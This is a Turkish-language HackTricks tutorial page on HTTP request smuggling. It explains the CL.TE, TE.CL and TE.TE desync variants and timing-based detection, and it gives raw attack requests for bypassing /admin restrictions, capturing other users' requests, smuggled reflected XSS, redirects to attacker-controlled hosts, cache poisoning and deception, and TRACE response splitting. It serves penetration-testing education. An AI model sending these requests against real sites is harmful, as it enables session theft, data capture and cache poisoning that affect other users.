Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling
History
Translator c4fd45d91a Translated ['network-services-pentesting/pentesting-web/nginx.md', 'netw
2024-04-27 17:18:49 +00:00
..
browser-http-request-smuggling.md Translated to Turkish 2024-02-10 18:14:16 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/nginx.md', 'netw 2024-04-27 17:18:49 +00:00
request-smuggling-in-http-2-downgrades.md Translated to Turkish 2024-02-10 18:14:16 +00:00

README.md

HTTP İstek Kaçırma / HTTP Desenk Atağı

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Nedir

Bu zayıflık, ön uç proxy'ler ile arka uç sunucu arasındaki desenkronizasyonun, bir saldırganın bir HTTP istekini ön uç proxy'ler (yük dengeleyici/ters proxy) tarafından tek bir istek olarak yorumlanmasına ve arka uç sunucu tarafından 2 istek olarak yorumlanmasına izin vermesi durumunda ortaya çıkar.
Bu, bir kullanıcının, kendisinden sonraki arka uç sunucuya gelen bir sonraki isteği değiştirmesine olanak tanır.

Teori

RFC Belirtimi (2161)

Bir mesaj, Hem Bir Transfer-Encoding başlık alanı hem de Bir Content-Length başlık alanı ile alınırsa, ikincisi YOK SAYILMALIDIR.

Content-Length

Content-Length varlık başlık alanı, alıcıya gönderilen varlık gövdesinin bayt cinsinden boyutunu belirtir.

Transfer-Encoding: chunked

Transfer-Encoding başlığı, yük gövdesini güvenli bir şekilde kullanıcıya aktarmak için kullanılan kodlama biçimini belirtir.
Chunked, büyük verilerin parçalar halinde gönderildiği anlamına gelir

Gerçeklik

Ön Uç (yük dengeleyici / Ters Proxy) content-length veya transfer-encoding başlığını işlerken Arka Uç sunucu diğerini işler ve bu, 2 sistem arasında bir desenkronizasyona neden olur.
Bu, bir saldırganın ön uç proxy'ye bir istek gönderebileceği ve bu isteğin ön uç sunucu tarafından 2 farklı istek olarak yorumlanacağı anlamına gelir. Bu teknik tehlikeli olabilir çünkü arka uç sunucu, enjekte edilen 2. isteği sanki bir sonraki istemciden geldi gibi yorumlayacak ve o istemcinin gerçek isteği, o istemcinin enjekte edilen isteğin bir parçası olacaktır.

Özellikler

HTTP'de bir yeni satır karakterinin 2 bayttan oluştuğunu unutmayın:

  • Content-Length: Bu başlık, isteğin gövdesinin bayt cinsinden boyutunu belirtmek için ondalık sayı kullanır. Gövde, son karakterde bitmesi beklenir, isteğin sonunda yeni bir satıra gerek yoktur.
  • Transfer-Encoding: Bu başlık, hexadecimal sayı kullanarak bir sonraki parçanın bayt sayısını belirtmek için gövdede kullanılır. Parça, bir yeni satır ile bitmelidir ancak bu yeni satır uzunluk göstergesi tarafından sayılmaz. Bu aktarım yöntemi, 0 boyutunda bir parça ile bitirilmelidir ve ardından 2 yeni satır izlemelidir: 0
  • Connection: Deneyimime dayanarak, İstek Kaçırma'nın ilk isteğinde Connection: keep-alive kullanılması önerilir.

Temel Örnekler

{% hint style="success" %} Bu, Burp Suite ile bunu sömürmeye çalışırken Tekrarlayıcı'da İçeriği Güncelle ve HTTP/1 satır sonlarını Normalize Et'yi devre dışı bırakın çünkü bazı cihazlar yeni satırları, taşıma dönüşlerini ve hatalı içerik uzunluklarını kötüye kullanır. {% endhint %}

HTTP istek kaçırma saldırıları, ön uç ve arka uç sunucuların Content-Length (CL) ve Transfer-Encoding (TE) başlıklarını nasıl yorumladığındaki farklılıkları sömüren belirsiz istekler gönderilerek oluşturulur. Bu saldırılar, başlıca CL.TE, TE.CL ve TE.TE olarak farklı biçimlerde ortaya çıkabilir. Her tür, ön uç ve arka uç sunucuların bu başlıklara öncelik verme şeklinin benzersiz bir kombinasyonunu temsil eder. Zayıflıklar, sunucuların aynı isteği farklı şekillerde işlemesinden kaynaklanır ve beklenmeyen ve potansiyel olarak kötü niyetli sonuçlara yol açabilir.

Zayıflık Türlerinin Temel Örnekleri

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

CL.TE Zayıflığı (Ön Uç tarafından Content-Length kullanılırken, Arka Uç tarafından Transfer-Encoding kullanılır)

  • Ön Uç (CL): İsteği Content-Length başlığına dayanarak işler.
  • Arka Uç (TE): İsteği Transfer-Encoding başlığına dayanarak işler.
  • Saldırı Senaryosu:
  • Saldırgan, Content-Length başlığının değeri gerçek içerik uzunluğuyla eşleşmeyen bir istek gönderir.
  • Ön uç sunucu, Content-Length değerine dayanarak tüm isteği arka uca iletir.
  • Arka uç sunucu, Transfer-Encoding: chunked başlığı nedeniyle isteği parçalı olarak işler ve kalan verileri ayrı, ardışık bir istek olarak yorumlar.
  • Örnek:
POST / HTTP/1.1
Host: zafiyetli-web sitesi.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Zayıflığı (Ön Uç tarafından Transfer-Encoding kullanılırken, Arka Uç tarafından Content-Length kullanılır)

  • Ön Uç (TE): İsteği Transfer-Encoding başlığına dayanarak işler.
  • Arka Uç (CL): İsteği Content-Length başlığına dayanarak işler.
  • Saldırı Senaryosu:
  • Saldırgan, parçalı bir istek gönderir, parça boyutu (7b) ve gerçek içerik uzunluğu (Content-Length: 4) eşleşmez.
  • Ön uç sunucu, Transfer-Encodingi onaylayarak tüm isteği arka uca iletir.
  • Arka uç sunucu, Content-Lengthi saygı göstererek, isteğin yalnızca başlangıç kısmını (7b bayt) işler ve geri kalanı istenmeyen bir sonraki isteğin bir parçası olarak bırakır.
  • Örnek:
POST / HTTP/1.1
Host: zafiyetli-web sitesi.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: zafiyetli-web sitesi.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Zafiyeti (Her ikisi de tarafından kullanılan Transfer-Encoding ile obfuskasyon)

  • Sunucular: Her ikisi de Transfer-Encoding'i destekler, ancak obfuskasyon aracılığıyla birinin bunu görmezden gelmesi sağlanabilir.
  • Saldırı Senaryosu:
    • Saldırgan, obfuskasyonlu Transfer-Encoding başlıklarını içeren bir istek gönderir.
    • Obfuskasyonun hangi sunucunun (ön uç veya arka uç) tanımadığına bağlı olarak CL.TE veya TE.CL zafiyeti sömürülebilir.
    • İsteğin işlenmemiş kısmı, sunuculardan biri tarafından görüldüğü şekilde bir sonraki isteğin bir parçası haline gelerek smuggling'e yol açar.
  • Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Senaryosu (Her İki Ön Uç ve Arka Uç Tarafından Kullanılan Content-Length):

  • Her iki sunucu da isteği yalnızca Content-Length başlığına dayanarak işler.
  • Bu senaryo genellikle smuggling'e yol açmaz, çünkü her iki sunucunun isteğin uzunluğunu nasıl yorumladığı konusunda uyum vardır.
  • Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal İstek

CL != 0 Senaryosu:

  • Content-Length başlığının var olduğu ve sıfır olmayan bir değere sahip olduğu senaryoları ifade eder, bu da istek gövdesinin içeriğe sahip olduğunu gösterir.
  • Smuggling saldırılarını anlamak ve oluşturmak için önemlidir, çünkü sunucuların bir isteğin sonunu nasıl belirlediğini etkiler.
  • Örnek:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Boş Olmayan Gövde

Web sunucusunu kırma

Bu teknik ayrıca, bağlantıyı kapatmadan web sunucusunu okurken kırabileceğiniz senaryolarda da kullanışlıdır. Bu şekilde, HTTP isteğinin gövdesi bir sonraki HTTP isteği olarak kabul edilecektir.

Örneğin, bu yazıda açıklandığı gibi, Werkzeug'de bazı Unicode karakterleri göndermek ve sunucuyu kırmak mümkündü. Ancak, HTTP bağlantısı Connection: keep-alive başlığı ile oluşturulmuşsa, isteğin gövdesi okunmayacak ve bağlantı hala açık olacak, bu nedenle isteğin gövdesi bir sonraki HTTP isteği olarak işleme alınacaktır.

Hop-by-hop başlıklar aracılığıyla zorlama

Hop-by-hop başlıkları kötüye kullanarak proxy'e Content-Length veya Transfer-Encoding başlığını silmesini işaret edebilir ve böylece bir HTTP isteği smuggling'i kötüye kullanılabilir.

Connection: Content-Length

HTTP İsteği Kaçırma Bulma

HTTP isteği kaçırma açıklarını belirlemek genellikle zamanlama teknikleri kullanılarak başarılabilir, bu teknikler, sunucunun manipüle edilmiş isteklere yanıt vermesinin ne kadar sürdüğünü gözlemlemeye dayanmaktadır. Bu teknikler, CL.TE ve TE.CL açıklarını tespit etmek için özellikle yararlıdır. Bu yöntemlerin yanı sıra, bu tür açıkları bulmak için kullanılabilecek diğer stratejiler ve araçlar bulunmaktadır:

Zamanlama Teknikleri Kullanarak CL.TE Açıklarını Bulma

  • Yöntem:
  • Uygulama açıksa, sunucunun ek verileri beklemesine neden olacak bir istek gönderin.
  • Örnek:
POST / HTTP/1.1
Host: zafiyetli-web sitesi.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Gözlem:
  • Ön uç sunucusu isteği Content-Length'e göre işler ve mesajı erken keser.
  • Bekleyen arka uç sunucusu, bir sonraki parçayı beklerken, asla gelmeyen bir parça nedeniyle gecikme yaşar.
  • Belirtiler:
  • Yanıtta zaman aşımı veya uzun gecikmeler.
  • Arka uç sunucudan 400 Bad Request hatası almak, bazen detaylı sunucu bilgileriyle birlikte.

Zamanlama Teknikleri Kullanarak TE.CL Açıklarını Bulma

  • Yöntem:
  • Uygulama açıksa, sunucunun ek verileri beklemesine neden olacak bir istek gönderin.
  • Örnek:
POST / HTTP/1.1
Host: zafiyetli-web sitesi.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Gözlem:
  • Ön uç sunucusu isteği Transfer-Encoding'e göre işler ve tüm mesajı iletilir.
  • Bekleyen arka uç sunucusu, Content-Length'e dayalı bir mesaj beklerken, asla gelmeyen ek verileri bekler ve gecikmeye neden olur.

Açıkları Bulmak İçin Diğer Yöntemler

  • Farklı Yanıt Analizi:
  • Bir isteğin hafif değişik versiyonlarını gönderin ve sunucu yanıtlarının beklenmedik bir şekilde farklılaşıp farklılaşmadığını gözlemleyin, bu durum bir ayrıştırma uyumsuzluğunu gösterebilir.
  • Otomatik Araçlar Kullanma:
  • Burp Suite'in 'HTTP Request Smuggler' uzantısı gibi araçlar, çeşitli belirsiz istekler göndererek ve yanıtları analiz ederek bu açıkları otomatik olarak test edebilir.
  • Content-Length Farklılık Testleri:
  • Gerçek içerik uzunluğuyla hizalanmayan değişen Content-Length değerleri içeren istekler gönderin ve sunucunun bu tür uyumsuzlukları nasıl işlediğini gözlemleyin.
  • Transfer-Encoding Farklılık Testleri:
  • Karışık veya hatalı Transfer-Encoding başlıkları içeren istekler gönderin ve ön uç ve arka uç sunucularının bu manipülasyonlara nasıl farklı yanıt verdiğini izleyin.

HTTP İsteği Kaçırma Açıklığı Test Etme

Zamanlama tekniklerinin etkinliğini doğruladıktan sonra, istemci isteklerinin manipüle edilip edilemeyeceğini doğrulamak hayati önem taşır. Basit bir yöntem, örneğin, /'ye bir istek göndererek 404 yanıtı almayı denemektir. Temel Örnekler bölümünde önceki CL.TE ve TE.CL örnekleri, istemcinin farklı bir kaynağa erişmeyi amaçlasa da istemcinin isteğini 404 yanıtı alacak şekilde zehirlemeyi nasıl gösterdiğini açıklamaktadır.

Ana Düşünceler

Diğer isteklerle müdahale ederek istek kaçırma açıklarını test ederken aşağıdakileri göz önünde bulundurun:

  • Farklı Ağ Bağlantıları: "Saldırı" ve "normal" istekler ayrı ağ bağlantıları üzerinden gönderilmelidir. Her ikisi için aynı bağlantıyı kullanmak, açığın varlığını doğrulamaz.
  • Düzenli URL ve Parametreler: Her iki istek için de aynı URL'leri ve parametre adlarını kullanmaya çalışın. Modern uygulamalar genellikle URL ve parametrelere dayalı olarak belirli arka uç sunucularına istek yönlendirir. Bu eşleştirmeleri kullanmak, her iki isteğin aynı sunucu tarafından işlenme olasılığını artırır, başarılı bir saldırı için gereklidir.
  • Zamanlama ve Yarış Koşulları: "Normal" istek, "saldırı" isteğinden gelen müdahaleyi tespit etmeyi amaçlar ve diğer eşzamanlı uygulama istekleriyle rekabet eder. Bu nedenle, "normal" isteği "saldırı" isteğinden hemen sonra gönderin. Yoğun uygulamalar, kesin bir açık doğrulaması için birden fazla deneme gerektirebilir.
  • Yük Dengeleme Zorlukları: Yük dengeleyici olarak hareket eden ön uç sunucular, istekleri çeşitli arka uç sistemlerine dağıtabilir. Eğer "saldırı" ve "normal" istekler farklı sistemlere düşerse, saldırı başarılı olmaz. Bu yük dengeleme yönü, bir açığı doğrulamak için birkaç deneme gerektirebilir.
  • Beklenmeyen Kullanıcı Etkisi: Saldırınızın yanlışlıkla başka bir kullanıcının isteğini etkilediğini fark ederseniz (tespit için gönderdiğiniz "normal" istek değil), bu saldırınızın başka bir uygulama kullanıcısını etkilediğini gösterir. Sürekli testler diğer kullanıcıları etkileyebilir, bu nedenle dikkatli bir yaklaşım gerektirebilir.

HTTP İsteği Kaçırma Kötüye Kullanma

HTTP İsteği Kaçırma Yoluyla Ön Uç Güvenliğini Atlatma

Bazı durumlarda, ön uç proxy'ler gelen istekleri inceleyerek güvenlik önlemleri uygular. Bununla birlikte, bu önlemler, HTTP İsteği Kaçırma'yı kullanarak atlanabilir, kısıtlanmış uç noktalara izinsiz erişime izin vererek önemli bir güvenlik açığı oluşturabilir. Örneğin, /admin'e erişim dışarıdan engellenmiş olabilir ve ön uç proxy bu tür girişimleri aktif olarak engelleyebilir. Bununla birlikte, bu proxy, kaçırılmış bir HTTP isteği içinde gömülü istekleri incelemeyi ihmal edebilir, bu da bu kısıtlamaları atlamak için bir açık bırakabilir.

Ön uç proxy'nin genellikle koruduğu /admin yolunu hedefleyen ön uç güvenlik kontrollerini atlamak için HTTP İsteği Kaçırma'nın nasıl kullanılabileceğini gösteren aşağıdaki örnekleri düşünün:

CL.TE Örneği

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE saldırısında, başlangıç isteği için Content-Length başlığı kullanılırken, ardışık gömülü istek Transfer-Encoding: chunked başlığını kullanır. Ön uç proxy'si başlangıçtaki POST isteğini işler ancak gömülü GET /admin isteğini inceleyemez, bu da /admin yoluna izinsiz erişime izin verir.

TE.CL Örneği

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Benzer şekilde, TE.CL saldırısında, ilk POST isteği Transfer-Encoding: chunked kullanır ve ardışık gömülü istek, Content-Length başlığına dayalı olarak işlenir. CL.TE saldırısına benzer şekilde, ön uç proxy, gizlice /admin yoluna erişim sağlayarak, gizlenmiş GET /admin isteğini göz ardı eder.

Ön uç isteği yeniden yazma ortaya çıkarma

Uygulamalar genellikle gelen istekleri değiştirmek için bir ön uç sunucusu kullanır ve ardından bunları arka uç sunucusuna iletmektedir. Tipik bir değişiklik, X-Forwarded-For: <İstemcinin IP'si> gibi başlıklar eklemeyi içerir, böylece istemcinin IP'sinin arka uca iletilebilir. Bu değişikliklerin anlaşılması önemli olabilir, çünkü bu, korumaları atlamak veya gizli bilgileri veya uç noktaları ortaya çıkarmak için yolları ortaya çıkarabilir.

Bir proxy'nin bir isteği nasıl değiştirdiğini araştırmak için, arka uçta yanıtta yankılanan bir POST parametresi bulun. Daha sonra, bu parametreyi sona ekleyerek aşağıdaki gibi benzer bir istek oluşturun:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

Bu yapıda, ardışık istek bileşenleri, yanıtta yansıtılan parametre olan search='den sonra eklenir. Bu yansıma, ardışık isteğin başlıklarını ortaya çıkaracaktır.

Gömülü isteğin Content-Length başlığını gerçek içerik uzunluğuyla hizalamak önemlidir. Küçük bir değerle başlayıp kademeli olarak artırmak tavsiye edilir, çünkü çok düşük bir değer yansıtılan verileri kesebilirken çok yüksek bir değer isteğin hata vermesine neden olabilir.

Bu teknik aynı zamanda bir TE.CL zafiyeti bağlamında da uygulanabilir, ancak istek search=\r\n0 ile sonlandırılmalıdır. Yeni satır karakterlerinden bağımsız olarak, değerler arama parametresine eklenecektir.

Bu yöntem, öncelikle ön uç proxy tarafından yapılan istek değişikliklerini anlamak için hizmet verir, esasen kendini yönlendiren bir araştırma gerçekleştirir.

Diğer kullanıcıların isteklerini yakalama

Bir POST işlemi sırasında bir parametrenin değeri olarak belirli bir isteği ekleyerek, bir sonraki kullanıcının isteklerini yakalamak mümkündür. İşte bunun nasıl başarılacağı:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

Bu senaryoda, yorum parametresi, genel olarak erişilebilir bir sayfadaki bir gönderinin yorum bölümündeki içeriği depolamak amacıyla kullanılır. Sonuç olarak, ardışık isteğin içeriği bir yorum olarak görünecektir.

Ancak, bu teknik bazı sınırlamalara sahiptir. Genellikle, sızdırılan istekte kullanılan parametre ayırıcısına kadar yalnızca verileri yakalar. URL kodlu form gönderimleri için bu ayırıcı, & karakteridir. Bu, kurban kullanıcının isteğinden yakalanan içeriğin ilk & karakterinde duracağı anlamına gelir, hatta sorgu dizesinin bir parçası olabilir.

Ayrıca, bu yaklaşımın TE.CL zafiyeti ile de geçerli olduğunu belirtmek önemlidir. Bu tür durumlarda, istek search=\r\n0 ile sonuçlanmalıdır. Yeni satır karakterlerine bakılmaksızın, değerler arama parametresine eklenecektir.

Yansıtılan XSS'i sömürmek için HTTP isteği kaçırma kullanımı

HTTP İstek Kaçırma, yansıtılan XSS'ye duyarlı web sayfalarını sömürmek için kullanılabilir ve önemli avantajlar sunar:

  • Hedef kullanıcılarla etkileşim gerektirmez.
  • Genellikle ulaşılamayan istek bölümlerindeki XSS'in sömürülmesine izin verir, örneğin HTTP istek başlıkları.

Kullanıcı-Ajanı başlığı aracılığıyla Yansıtılan XSS'ye duyarlı bir web sitesinin olduğu senaryolarda, aşağıdaki yük, bu zafiyetin nasıl sömürüleceğini göstermektedir:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Bu yük, zafiyeti sömürmek için yapılandırılmıştır:

  1. Transfer-Encoding: chunked başlığı ile başlayan, görünüşte tipik bir POST isteği başlatma, böylece kaçakçılığın başlangıcını belirtir.
  2. Chunked mesaj gövdesinin sonunu işaretleyen 0 ile devam etme.
  3. Ardından, kaçakçılık yapılmış bir GET isteği tanıtılır, burada User-Agent başlığına <script>alert(1)</script> betiği enjekte edilir ve sunucu bu sonraki isteği işlediğinde XSS tetiklenir.

User-Agent'ı kaçakçılık yoluyla manipüle ederek, yük normal istek kısıtlamalarını atlayarak, Reflected XSS zafiyetini standart olmayan ancak etkili bir şekilde sömürür.

HTTP/0.9

{% hint style="danger" %} Kullanıcı içeriğinin text/plain gibi bir Content-type ile yansıtıldığı bir yanıtta XSS'in yürütülmesini engelleyebilir. Sunucu HTTP/0.9'u destekliyorsa bu geçilebilir olabilir! {% endhint %}

HTTP/0.9 sürümü, önceki 1.0'dan önce gelir ve yalnızca GET fiillerini kullanır ve başlıklarla yanıt vermez, yalnızca gövdeyi verir.

Bu yazıda, bu, bir istek kaçakçılığı ve kullanıcının girişini yanıtlayacak bir zafiyetli uç nokta ile kötüye kullanıldı, böylece HTTP/0.9 ile kaçakçılık yapmak için bir istek kaçakçılığı yapıldı. Yanıtta yansıtılacak parametre, sahte HTTP/1.1 yanıtı (başlıklar ve gövde ile) içeriyordu, böylece yanıt, text/html Content-Type'ı olan geçerli yürütülebilir JS kodunu içerecektir.

HTTP İsteği Kaçakçılığı ile Site İçi Yönlendirmelerin Sömürülmesi

Uygulamalar genellikle, yönlendirme URL'sindeki Host başlığından gelen ana bilgisayar adını kullanarak bir URL'den başka bir URL'ye yönlendirme yapar. Bu, Apache ve IIS gibi web sunucularıyla yaygındır. Örneğin, bir eğik çizgi olmadan bir klasör istemek, eğik çizgi içeren bir yönlendirmeye neden olur:

GET /home HTTP/1.1
Host: normal-website.com

Sonuçlar:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Bu davranış, HTTP isteği kaçırma kullanılarak kullanıcıların harici bir siteye yönlendirilmesi için manipüle edilebilir. Örneğin:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Bu kaçak istek, işlenen sonraki kullanıcı isteğinin bir saldırgan tarafından kontrol edilen bir web sitesine yönlendirilmesine neden olabilir:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

Sonuçlar:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Bu senaryoda, bir kullanıcının JavaScript dosyası isteği ele geçirilir. Saldırgan, yanıt olarak kötü amaçlı JavaScript sunarak kullanıcının tehlikeye girmesine neden olabilir.

HTTP İsteği Kaçırma Yoluyla Web Önbellek Zehirlenmesi Sömürme

Web önbellek zehirlenmesi, genellikle performansı artırmak amacıyla içeriği önbelleğe alan ön uç altyapısının herhangi bir bileşeni tarafından gerçekleştirilebilir. Sunucunun yanıtını manipüle ederek, önbelleği zehirlemek mümkündür.

Daha önce, sunucu yanıtlarının nasıl değiştirilebileceğini ve 404 hatası döndürülebileceğini gözlemledik (bkz. Temel Örnekler). Benzer şekilde, sunucuyu, /static/include.js isteği için /index.html içeriğini döndürmeye kandırmak mümkündür. Sonuç olarak, /static/include.js içeriği, /index.html'in içeriğiyle önbellekte değiştirilir ve kullanıcılara erişilemez hale gelir, bu da Hizmet Reddine (DoS) yol açabilir.

Bu teknik, bir Açık Yönlendirme açığı keşfedilirse veya bir açık yönlendirmeye yönlendirme varsa özellikle etkili hale gelir. Bu tür zafiyetler, /static/include.js'in önbelleğindeki içeriği saldırganın kontrolündeki bir betikle değiştirmek için sömürülebilir ve temelde güncellenmiş /static/include.js isteyen tüm istemcilere karşı yaygın bir Çapraz Site Betimlemesi (XSS) saldırısını etkinleştirir.

Aşağıda, ön uç yönlendirmesi ile açık yönlendirmeyi birleştirerek önbellek zehirlenmesini sömürmenin bir örneği verilmiştir. Amaç, /static/include.js önbellek içeriğini saldırganın kontrol ettiği JavaScript kodunu sunacak şekilde değiştirmektir:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Gömülü isteği /post/next?postId=3 hedefleyen isteği dikkate alın. Bu istek, alan adını belirlemek için Ana bilgisayar başlığı değerini kullanarak /post?postId=4'e yönlendirilecektir. Saldırgan, isteği kendi alan adlarına yönlendirerek (yerinde yönlendirme açık yönlendirmeye) kullanabilir.

Başarılı soket zehirlenmesi sonrasında /static/include.js için bir GET isteği başlatılmalıdır. Bu istek, önceki yerinde yönlendirme açık yönlendirmeye isteği tarafından kirletilecek ve saldırgan tarafından kontrol edilen betiğin içeriğini getirecektir.

Ardından, /static/include.js için yapılan herhangi bir istek, saldırganın betiğinin önbelleğe alınmış içeriğini sunacak ve etkili bir XSS saldırısı başlatacaktır.

Web önbellek aldatmacası gerçekleştirmek için HTTP isteği kaçırma

Web önbellek zehirlenmesi ile web önbellek aldatmacası arasındaki fark nedir?

  • Web önbellek zehirlenmesinde, saldırgan uygulamanın önbelleğe bazı kötü amaçlı içerikler depolamasına neden olur ve bu içerik önbellekten diğer uygulama kullanıcılarına sunulur.
  • Web önbellek aldatmacasında, saldırgan uygulamayı başka bir kullanıcıya ait hassas içerikleri önbelleğe almasına neden olur ve ardından bu içeriği önbellekten alır.

Saldırgan, hassas kullanıcıya özgü içeriği getiren kaçırılmış bir istek oluşturur. Aşağıdaki örneği göz önünde bulundurun:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Eğer bu kaçak istek önbelleği zehirlerse ve statik içerik için amaçlanan bir önbellek girişini zehirlerse (örneğin, /someimage.png), kurbanın hassas verileri /private/messages altında statik içeriğin önbellek girişi altında önbelleğe alınabilir. Sonuç olarak, saldırgan bu önbelleğe alınmış hassas verileri geri alabilir.

HTTP İsteği Kaçakçılığı Aracılığıyla TRACE Kullanımı

Bu yazıda sunulduğu gibi, sunucunun TRACE yönteminin etkinleştirilmiş olması durumunda, bu yöntemi HTTP İsteği Kaçakçılığı ile kötüye kullanmak mümkün olabilir. Bu, çünkü bu yöntem, sunucuya gönderilen herhangi bir başlığı yanıtın gövdesinin bir parçası olarak yansıtacaktır. Örneğin:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Aşağıdaki gibi bir yanıt gönderecektir:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

Bu davranışı istismar etmenin bir örneği, önce bir HEAD isteği sokmaktır. Bu istek, yalnızca bir GET isteğinin başlıkları ile yanıtlanacaktır (Content-Type dahil). Ve hemen ardından bir TRACE isteği sokmak, gönderilen veriyi yansıtacaktır.
HEAD yanıtı bir Content-Length başlığı içereceğinden, TRACE isteğinin yanıtı, HEAD yanıtının gövdesi olarak işleme alınacak ve bu nedenle yanıtta keyfi veriler yansıtılacaktır.
Bu yanıt bir sonraki isteğe bağlantı üzerinden gönderileceğinden, bu örneğin keyfi JS kodu enjekte etmek için önbelleğe alınmış bir JS dosyasında kullanılabilir.

HTTP Yanıt Bölünmesi Aracılığıyla TRACE'nin Kötüye Kullanılması

Bu yazıyı takip etmeye devam etmek, TRACE yöntemini kötüye kullanmanın başka bir yolunun önerildiği belirtilmektedir. Yorumlara göre, bir HEAD isteği ve bir TRACE isteği sokarak, HEAD isteğine yanıt olarak yansıtılan bazı verileri kontrol etmek mümkündür. HEAD isteğinin gövdesinin uzunluğu temelde Content-Length başlığında belirtilir ve TRACE isteğine verilen yanıt tarafından oluşturulur.

Bu nedenle, bu Content-Length ve TRACE yanıtında verilen verileri bilerek, TRACE yanıtının, Content-Length'in son baytından sonra geçerli bir HTTP yanıtı içermesini sağlamak mümkündür, bu da bir saldırganın bir sonraki yanıta tamamen hakim olmasını sağlar (bu, bir önbellek zehirlenmesi gerçekleştirmek için kullanılabilir).

Örnek:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Bu yanıtları üretecektir (HEAD yanıtının bir Content-Length'e sahip olduğuna dikkat edin, bu da TRACE yanıtının HEAD gövdesinin bir parçası haline geldiği ve HEAD Content-Length'in bittiği noktada geçerli bir HTTP yanıtının kaçırıldığı anlamına gelir):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

